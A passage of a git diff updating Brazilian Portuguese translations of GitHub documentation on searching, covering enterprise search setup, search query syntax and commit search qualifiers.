+Ao pesquisar a partir de {% data variables.product.product_name %}, você só pode pesquisar em repositórios privados aos quais tem acesso na organização de {% data variables.product.prodname_dotcom_the_website %} conectada. Os proprietários da empresa para {% data variables.product.product_name %} e proprietários da organização no {% data variables.product.prodname_dotcom_the_website %} não podem pesquisar repositórios privados pertencentes à sua conta em {% data variables.product.prodname_dotcom_the_website %}. Para pesquisar os repositórios privados aplicáveis, você deve habilitar a pesquisa privada no repositório para as suas contas pessoais em {% data variables.product.product_name %}. Para obter mais informações, consulte "[Habilitando a pesquisa no repositório {% data variables.product.prodname_dotcom_the_website %} no ambiente privado da empresa](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)."
 
 {% endif %}
 
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Understanding the search syntax](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
-- "[Searching on GitHub](/articles/searching-on-github)"
+- "[Entender a sintaxe de pesquisa](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax)"
+- "[Pesquisar no GitHub](/articles/searching-on-github)"
diff --git a/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md b/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
index 2e98bbd3ee..6f04e5b147 100644
--- a/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
+++ b/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md
@@ -1,7 +1,7 @@
 ---
-title: Enabling GitHub.com repository search from your private enterprise environment
-shortTitle: Search GitHub.com from enterprise
-intro: 'You can connect your personal accounts on {% data variables.product.prodname_dotcom_the_website %} and your private {% data variables.product.prodname_enterprise %} environment to search for content in certain {% data variables.product.prodname_dotcom_the_website %} repositories{% ifversion fpt or ghec %} from your private environment{% else %} from {% data variables.product.product_name %}{% endif %}.'
+title: Habilitar a pesquisa de repositório GitHub.com no ambiente privado da sua empresa
+shortTitle: Pesquisa a empresa no GitHub.com
+intro: 'Você pode conectar suas contas pessoais em {% data variables.product.prodname_dotcom_the_website %} e seu ambiente privado de {% data variables.product.prodname_enterprise %} para pesquisar conteúdo em alguns repositórios de {% data variables.product.prodname_dotcom_the_website %} {% ifversion fpt or ghec %} do seu ambiente privado{% else %} de {% data variables.product.product_name %}{% endif %}.'
 redirect_from:
   - /articles/enabling-private-githubcom-repository-search-in-your-github-enterprise-account
   - /articles/enabling-private-github-com-repository-search-in-your-github-enterprise-server-account
@@ -18,35 +18,34 @@ topics:
   - GitHub search
 ---
 
-## About search for {% data variables.product.prodname_dotcom_the_website %} repositories from {% ifversion fpt or ghec %}your private enterprise environment{% else %}{% data variables.product.product_name %}{% endif %}
+## Sobre a pesquisa de repositórios de {% data variables.product.prodname_dotcom_the_website %} a partir do {% ifversion fpt or ghec %}seu ambiente empresarial privado{% else %}{% data variables.product.product_name %}{% endif %}
 
-You can search for designated private repositories on {% data variables.product.prodname_ghe_cloud %} from {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}{% endif %}. {% ifversion fpt or ghec %}For example, if you use {% data variables.product.prodname_ghe_server %}, you can search for private repositories from your enterprise from {% data variables.product.prodname_ghe_cloud %} in the web interface for {% data variables.product.prodname_ghe_server %}.{% endif %}
+Você pode pesquisar repositórios privados designados em {% data variables.product.prodname_ghe_cloud %} a partir do {% ifversion fpt or ghec %} seu {% data variables.product.prodname_enterprise %} ambiente{% else %}{% data variables.product.product_location %}{% ifversion ghae %} em {% data variables.product.prodname_ghe_managed %}{% endif %}{% endif %}. {% ifversion fpt or ghec %}, por exemplo, se você usar {% data variables.product.prodname_ghe_server %}, você pode pesquisar repositórios privados da sua empresa a partir de {% data variables.product.prodname_ghe_cloud %} na interface web por {% data variables.product.prodname_ghe_server %}.{% endif %}
 
-## Prerequisites
+## Pré-requisitos
 
-- An enterprise owner for {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %} must enable {% data variables.product.prodname_github_connect %} and {% data variables.product.prodname_unified_search %} for private repositories. For more information, see the following.{% ifversion fpt or ghes or ghec %}
+- Um proprietário de empresa para {% ifversion fpt or ghec %}seu ambiente {% data variables.product.prodname_enterprise %} privado{% else %}{% data variables.product.product_name %}{% endif %} deve habilitar {% data variables.product.prodname_github_connect %} e {% data variables.product.prodname_unified_search %} para repositórios privados. Para obter mais informações, consulte o seguinte.{% ifversion fpt or ghes or ghec %}
   - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}{% endif %}{% ifversion fpt or ghec or ghae %}
   - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)"{% ifversion fpt or ghec %} in the {% data variables.product.prodname_ghe_managed %} documentation{% endif %}
 {% endif %}
 
-- You must already have access to the private repositories and connect your account {% ifversion fpt or ghec %}in your private {% data variables.product.prodname_enterprise %} environment{% else %}on {% data variables.product.product_name %}{% endif %} with your account on {% data variables.product.prodname_dotcom_the_website %}. For more information about the repositories you can search, see "[About searching on GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)."
+- Você já deve ter acesso aos repositórios privados e conectar sua conta {% ifversion fpt or ghec %}no seu ambiente privado de {% data variables.product.prodname_enterprise %}{% else %}em {% data variables.product.product_name %}{% endif %} com sua conta em {% data variables.product.prodname_dotcom_the_website %}. Para obter mais informações sobre os repositórios que você pode pesquisar, consulte "[Sobre pesquisa no GitHub](/github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github#searching-repositories-on-githubcom-from-your-private-enterprise-environment)".
 
-## Enabling GitHub.com repository search from {% ifversion fpt or ghec %}your private {% data variables.product.prodname_enterprise %} environment{% else %}{% data variables.product.product_name %}{% endif %}
+## Habilitar a pesquisa de repositório no GitHub.com a partir do {% ifversion fpt or ghec %}seu ambiente {% data variables.product.prodname_enterprise %} privado{% else %}{% data variables.product.product_name %}{% endif %}
 
 {% ifversion fpt or ghec %}
 
-For more information, see the following.
+Para obter mais informações, consulte o seguinte.
 
-| Your enterprise environment | More information |
-| :- | :- |
-| {% data variables.product.prodname_ghe_server %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
-| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)" |
+| Seu ambiente corporativo                            | Mais informações                                                                                                                                                                                                                                                                                                                                                      |
+|:--------------------------------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% data variables.product.prodname_ghe_server %}  | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/enterprise-server@latest/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-enterprise-server)" |
+| {% data variables.product.prodname_ghe_managed %} | "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search from your private enterprise environment](/github-ae@latest//search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment#enabling-githubcom-repository-search-from-github-ae)"                       |
 
 {% elsif ghes or ghae %}
 
-1. Sign into {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %}.
-1. On {% data variables.product.product_name %}, in the upper-right corner of any page, click your profile photo, then click **Settings**.
-![Settings icon in the user bar](/assets/images/help/settings/userbar-account-settings.png)
+1. Efetue o login em {% data variables.product.product_name %} e {% data variables.product.prodname_dotcom_the_website %}.
+1. No canto superior direito de qualquer página do {% data variables.product.product_name %}, clique na sua foto do perfil e em **Configurações**. ![Ícone Settings (Configurações) na barra de usuário](/assets/images/help/settings/userbar-account-settings.png)
 {% data reusables.github-connect.github-connect-tab-user-settings %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
 {% data reusables.github-connect.connect-dotcom-and-enterprise %}
diff --git a/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md b/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
index 82108d649c..d46fa07e3c 100644
--- a/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
+++ b/translations/pt-BR/content/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax.md
@@ -1,6 +1,6 @@
 ---
-title: Understanding the search syntax
-intro: 'When searching {% data variables.product.product_name %}, you can construct queries that match specific numbers and words.'
+title: Entender a sintaxe de pesquisa
+intro: 'Durante a pesquisa no {% data variables.product.product_name %}, é possível criar consultas que correspondam a palavras e números específicos.'
 redirect_from:
   - /articles/search-syntax
   - /articles/understanding-the-search-syntax
@@ -13,87 +13,88 @@ versions:
   ghec: '*'
 topics:
   - GitHub search
-shortTitle: Understand search syntax
+shortTitle: Entender a sintaxe de pesquisa
 ---
-## Query for values greater or less than another value
 
-You can use `>`, `>=`, `<`, and `<=` to search for values that are greater than, greater than or equal to, less than, and less than or equal to another value.
+## Consultar por valores maiores ou menores que outro valor
 
-Query  | Example
-------------- | -------------
-<code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** matches repositories with the word "cats" that have more than 1000 stars.
-<code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** matches repositories with the word "cats" that have 5 or more topics.
-<code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** matches code with the word "cats" in files that are smaller than 10 KB.
-<code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** matches repositories with the word "cats" that have 50 or fewer stars.
+Você pode usar `>`, `>=`, `<` e `<=` para pesquisar valores que sejam maiores, maiores ou iguais, menores e menores ou iguais a outro valor.
 
-You can also use [range queries](#query-for-values-between-a-range) to search for values that are greater than or equal to, or less than or equal to, another value.
+| Consulta                  | Exemplo                                                                                                                                                                                 |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>><em>n</em></code> | **[cats stars:>1000](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3E1000&type=Repositories)** corresponde a repositórios com a palavra "cats" com mais de 1000 estrelas.    |
+| <code>>=<em>n</em></code> | **[cats topics:>=5](https://github.com/search?utf8=%E2%9C%93&q=cats+topics%3A%3E%3D5&type=Repositories)** corresponde a repositórios com a palavra "cats" com 5 ou mais tópicos.        |
+| <code><<em>n</em></code> | **[cats size:<10000](https://github.com/search?utf8=%E2%9C%93&q=cats+size%3A%3C10000&type=Code)** corresponde ao código com a palavra "cats" nos arquivos com tamanho inferior a 10 KB. |
+| <code><=<em>n</em></code> | **[cats stars:<=50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%3C%3D50&type=Repositories)** corresponde a repositórios com a palavra "cats" com 50 estrelas ou menos.     |
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** is equivalent to `stars:>=10` and matches repositories with the word "cats" that have 10 or more stars.
-<code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** is equivalent to `stars:<=10` and matches repositories with the word "cats" that have 10 or fewer stars.
+Você também pode usar [consultas de intervalo](#query-for-values-between-a-range) para pesquisar valores que são maiores ou iguais ou menores ou iguais a outro valor.
 
-## Query for values between a range
+| Consulta                  | Exemplo                                                                                                                                                                                                                  |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>n</em>..*</code> | **[cats stars:10..*](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..*&type=Repositories)** é equivalente a `stars:>=10` e corresponde a repositórios com a palavra "cats" que têm até 10 estrelas.       |
+| <code>*..<em>n</em></code> | **[cats stars:*..10](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A%22*..10%22&type=Repositories)** é equivalente a `stars:<=10` e corresponde a repositórios com a palavra "cats" que têm até 10 estrelas. |
 
-You can use the range syntax <code><em>n</em>..<em>n</em></code> to search for values within a range, where the first number _n_ is the lowest value and the second is the highest value.
+## Consultar por valores dentro de um intervalo
 
-Query  | Example
-------------- | -------------
-<code><em>n</em>..<em>n</em></code>  | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** matches repositories with the word "cats" that have between 10 and 50 stars.
+Você pode usar a sintaxe de intervalo <code><em>n</em>..<em>n</em></code> para pesquisar valores dentro de um intervalo, em que o primeiro número _n_ é o valor mais baixo e o segundo é o valor mais alto.
 
-## Query for dates
+| Consulta                  | Exemplo                                                                                                                                                                                   |
+| ------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>n</em>..<em>n</em></code> | **[cats stars:10..50](https://github.com/search?utf8=%E2%9C%93&q=cats+stars%3A10..50&type=Repositories)** corresponde a repositórios com a palavra "cats" que têm entre 10 e 50 estrelas. |
 
-You can search for dates that are earlier or later than another date, or that fall within a range of dates, by using `>`, `>=`, `<`, `<=`, and [range queries](#query-for-values-between-a-range). {% data reusables.time_date.date_format %}
+## Consultar por datas
 
-Query  | Example
-------------- | -------------
-<code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** matches issues with the word "cats" that were created after April 29, 2016.
-<code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** matches issues with the word "cats" that were created on or after April 1, 2017.
-<code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** matches code with the word "cats" in repositories that were pushed to before July 5, 2012.
-<code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** matches issues with the word "cats" that were created on or before July 4, 2012.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** matches repositories with the word "cats" that were pushed to between the end of April and July of 2016.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** matches issues created after April 30th, 2012 containing the word "cats."
-<code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** matches issues created before July 4th, 2012 containing the word "cats."
+Você pode usar `>`, `>=`, `<`, `<=` e [consultas de intervalo](#query-for-values-between-a-range) para pesquisar por datas anteriores ou posteriores a outra data ou que se enquadram em um intervalo de datas. {% data reusables.time_date.date_format %}
+
+| Consulta                   | Exemplo                                                                                                                                                                                                                                                      |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>><em>YYYY</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>2016-04-29](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E2016-04-29&type=Issues)** corresponde a problemas com a palavra "cats" que foram criados após 29 de abril de 2016.                                                 |
+| <code>>=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code>  | **[cats created:>=2017-04-01](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3E%3D2017-04-01&type=Issues)** corresponde a problemas com a palavra "cats" que foram criados a partir de 1 de abril de 2017.                                       |
+| <code><<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:<2012-07-05](https://github.com/search?q=cats+pushed%3A%3C2012-07-05&type=Code&utf8=%E2%9C%93)** corresponde ao código com a palavra "cats" em repositórios que foram carregados até 5 de julho de 2012.                                      |
+| <code><=<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:<=2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A%3C%3D2012-07-04&type=Issues)** corresponde a problemas com a palavra "cats" que foram criados em ou antes de 4 de julho de 2012.                                    |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats pushed:2016-04-30..2016-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+pushed%3A2016-04-30..2016-07-04&type=Repositories)** corresponde a repositórios com a palavra "cats" nos quais foi feito push entre o final de abril e julho de 2016. |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>..*</code> | **[cats created:2012-04-30..*](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2012-04-30..*&type=Issues)** corresponde a problemas criados após 30 de abril de 2012 contendo a palavra "cats".                                                    |
+| <code>*..<em>YYYY</em>-<em>MM</em>-<em>DD</em></code> | **[cats created:*..2012-07-04](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A*..2012-07-04&type=Issues)** corresponde a problemas criados antes de 4 de julho de 2012 contendo a palavra "cats".                                                 |
 
 {% data reusables.time_date.time_format %}
 
-Query  | Example
-------------- | -------------
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** matches issues created between January 1, 2017 at 1 a.m. with a UTC offset of `07:00` and March 1, 2017 at 3 p.m. with a UTC offset of `07:00`.
-<code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code>  | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** matches issues created between March 21, 2016 at 2:11pm and April 7, 2106 at 8:45pm.
+| Consulta                   | Exemplo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>+<em>00</em>:<em>00</em></code> | **[cats created:2017-01-01T01:00:00+07:00..2017-03-01T15:30:15+07:00](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2017-01-01T01%3A00%3A00%2B07%3A00..2017-03-01T15%3A30%3A15%2B07%3A00&type=Issues)** corresponde a problemas criados entre 01 de janeiro de 2017 à 1h, com uma diferença de fuso horário de `07:00` em relação ao UTC, e 01 de março de 2017 às 15h, com uma diferença de fuso horário de `07:00` em relação ao UTC. com um ajuste de UTC de `07:00` e 1 de março de 2017 às 15h. com um ajuste de UTC de `07:00`. |
+| <code><em>YYYY</em>-<em>MM</em>-<em>DD</em>T<em>HH</em>:<em>MM</em>:<em>SS</em>Z</code> | **[cats created:2016-03-21T14:11:00Z..2016-04-07T20:45:00Z](https://github.com/search?utf8=%E2%9C%93&q=cats+created%3A2016-03-21T14%3A11%3A00Z..2016-04-07T20%3A45%3A00Z&type=Issues)** corresponde a problemas criados entre 21 de março de 2016 às 14h11 e 07 de abril de 2106 às 20h45.                                                                                                                                                                                                                                                        |
 
-## Exclude certain results
+## Excluir determinados resultados
 
-You can exclude results containing a certain word, using the `NOT` syntax. The `NOT` operator can only be used for string keywords. It does not work for numerals or dates.
+Usando a sintaxe `NOT`, é possível excluir resultados contendo uma determinada palavra. O operador `NOT` só pode ser usado para palavras-chave de string. Ele não funciona com numerais ou datas.
 
-Query  | Example
-------------- | -------------
-`NOT`  | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** matches repositories that have the word "hello" but not the word "world."
+| Consulta | Exemplo                                                                                                                                                               |
+| -------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `NOT`    | **[hello NOT world](https://github.com/search?q=hello+NOT+world&type=Repositories)** corresponde a repositórios que têm a palavra "hello", mas não a palavra "world". |
 
-Another way you can narrow down search results is to exclude certain subsets. You can prefix any search qualifier with a `-` to exclude all results that are matched by that qualifier.
+Outra maneira de restringir os resultados da pesquisa é excluir determinados subconjuntos. Adicione um prefixo a qualquer qualificador de pesquisa com um `-` para excluir todos os resultados correspondentes a esse qualificador.
 
-Query  | Example
-------------- | -------------
-<code>-<em>QUALIFIER</em></code>  | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization.
+| Consulta                   | Exemplo                                                                                                                                                                                                                 |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>-<em>QUALIFIER</em></code> | **[mentions:defunkt -org:github](https://github.com/search?utf8=%E2%9C%93&q=mentions%3Adefunkt+-org%3Agithub&type=Issues)** matches issues mentioning @defunkt that are not in repositories in the GitHub organization. |
 
-## Use quotation marks for queries with whitespace
+## Usar aspas para consultas com espaço em branco
 
-If your search query contains whitespace, you will need to surround it with quotation marks. For example:
+Se a consulta de pesquisa contém espaço em branco, é preciso colocá-lo entre aspas. Por exemplo:
 
-* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) matches repositories with the word "cats" but not the words "hello world."
-* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) matches issues with the word "build" that have the label "bug fix."
+* [cats NOT "hello world"](https://github.com/search?utf8=✓&q=cats+NOT+"hello+world"&type=Repositories) corresponde a repositórios com a palavra "cats", mas não as palavras "hello world".
+* [build label:"bug fix"](https://github.com/search?utf8=%E2%9C%93&q=build+label%3A%22bug+fix%22&type=Issues) corresponde a problemas com a palavra "build" que têm a etiqueta "bug fix".
 
-Some non-alphanumeric symbols, such as spaces, are dropped from code search queries within quotation marks, so results can be unexpected.
+Alguns símbolos não alfanuméricos, como espaços, são descartados de consultas de pesquisa de código entre aspas, por isso os resultados podem ser inesperados.
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Queries with usernames
+## Consultas com nomes de usuário
 
-If your search query contains a qualifier that requires a username, such as `user`, `actor`, or `assignee`, you can use any {% data variables.product.product_name %} username, to specify a specific person, or `@me`, to specify the current user.
+Se sua consulta de pesquisa contiver um qualificador que exige um nome de usuário, como, por exemplo, `usuário`, `ator` ou `responsável`, você poderá usar qualquer nome de usuário de {% data variables.product.product_name %}, para especificar uma pessoa específica ou `@me` para especificar o usuário atual.
 
-Query  | Example
-------------- | -------------
-`QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) matches commits authored by @nat
-`QUALIFIER:@me` | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) matches issues assigned to the person viewing the results
+| Consulta             | Exemplo                                                                                                                                                                        |
+| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `QUALIFIER:USERNAME` | [`author:nat`](https://github.com/search?q=author%3Anat&type=Commits) corresponde a commits criados por @nat                                                                   |
+| `QUALIFIER:@me`      | [`is:issue assignee:@me`](https://github.com/search?q=is%3Aissue+assignee%3A%40me&type=Issues) corresponde a problemas atribuídos à pessoa que está visualizando os resultados |
 
-You can only use `@me` with a qualifier and not as search term, such as `@me main.workflow`.
+Você só pode usar `@me` com um qualificador e não como termo de pesquisa, como `@me main.workflow`.
 {% endif %}
diff --git a/translations/pt-BR/content/search-github/index.md b/translations/pt-BR/content/search-github/index.md
index c2eeff5e6d..e12c3c64ad 100644
--- a/translations/pt-BR/content/search-github/index.md
+++ b/translations/pt-BR/content/search-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Searching for information on GitHub
-intro: Use different types of searches to find the information you want.
+title: Pesquisar informações no GitHub
+intro: Use diferentes tipos de pesquisa para encontrar as informações desejadas.
 redirect_from:
   - /categories/78/articles
   - /categories/search
@@ -16,6 +16,6 @@ topics:
 children:
   - /getting-started-with-searching-on-github
   - /searching-on-github
-shortTitle: Search on GitHub
+shortTitle: Pesquisar no GitHub
 ---
 
diff --git a/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md b/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md
index e0e772a5f7..6bbc8f674b 100644
--- a/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md
+++ b/translations/pt-BR/content/search-github/searching-on-github/searching-commits.md
@@ -1,6 +1,6 @@
 ---
-title: Searching commits
-intro: 'You can search for commits on {% data variables.product.product_name %} and narrow the results using these commit search qualifiers in any combination.'
+title: Pesquisar commits
+intro: 'Você pode pesquisar commits no {% data variables.product.product_name %} e limitar os resultados usando qualquer combinação dos qualificadores de pesquisa de commits.'
 redirect_from:
   - /articles/searching-commits
   - /github/searching-for-information-on-github/searching-commits
@@ -13,107 +13,109 @@ versions:
 topics:
   - GitHub search
 ---
-You can search for commits globally across all of {% data variables.product.product_name %}, or search for commits within a particular repository or organization. For more information, see "[About searching on {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-When you search for commits, only the [default branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) of a repository is searched.
+Você pode pesquisar commits globalmente no {% data variables.product.product_name %} ou pesquisar em uma organização ou um repositório específico. Para obter mais informações, consulte "[Sobre pesquisar no {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)".
+
+Quando você pesquisa commits, somente o [branch padrão](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches) de um repositório é pesquisado.
 
 {% data reusables.search.syntax_tips %}
 
-## Search within commit messages
+## Pesquisar em mensagens do commit
 
-You can find commits that contain particular words in the message. For example, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) matches commits containing the words "fix" and "typo."
+Você pode pesquisar commits que contêm palavras específicas na mensagem. Por exemplo, [**fix typo**](https://github.com/search?q=fix+typo&type=Commits) identifica os commits que têm as palavras "fix" e "typo".
 
-## Search by author or committer
+## Pesquisar por autor ou committer
 
-You can find commits by a particular user with the `author` or `committer` qualifiers.
+Você pode pesquisar commits de um usuário específico com os qualificadores `author` ou `committer`.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) matches commits authored by @defunkt.
-| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) matches commits committed by @defunkt.
+| Qualifier                 | Exemplo                                                                                                                          |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**author:defunkt**](https://github.com/search?q=author%3Adefunkt&type=Commits) identifica os commits de autoria de @defunkt.    |
+| <code>committer:<em>USERNAME</em></code> | [**committer:defunkt**](https://github.com/search?q=committer%3Adefunkt&type=Commits) identifica os commits feitos por @defunkt. |
 
-The `author-name` and `committer-name` qualifiers match commits by the name of the author or committer.
+Os qualificadores `author-name` e `committer-name` identifica os commits pelo nome do autor ou committer.
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>author-name:<em>NAME</em></code> | [**author-name:wanstrath**](https://github.com/search?q=author-name%3Awanstrath&type=Commits) matches commits with "wanstrath" in the author name.
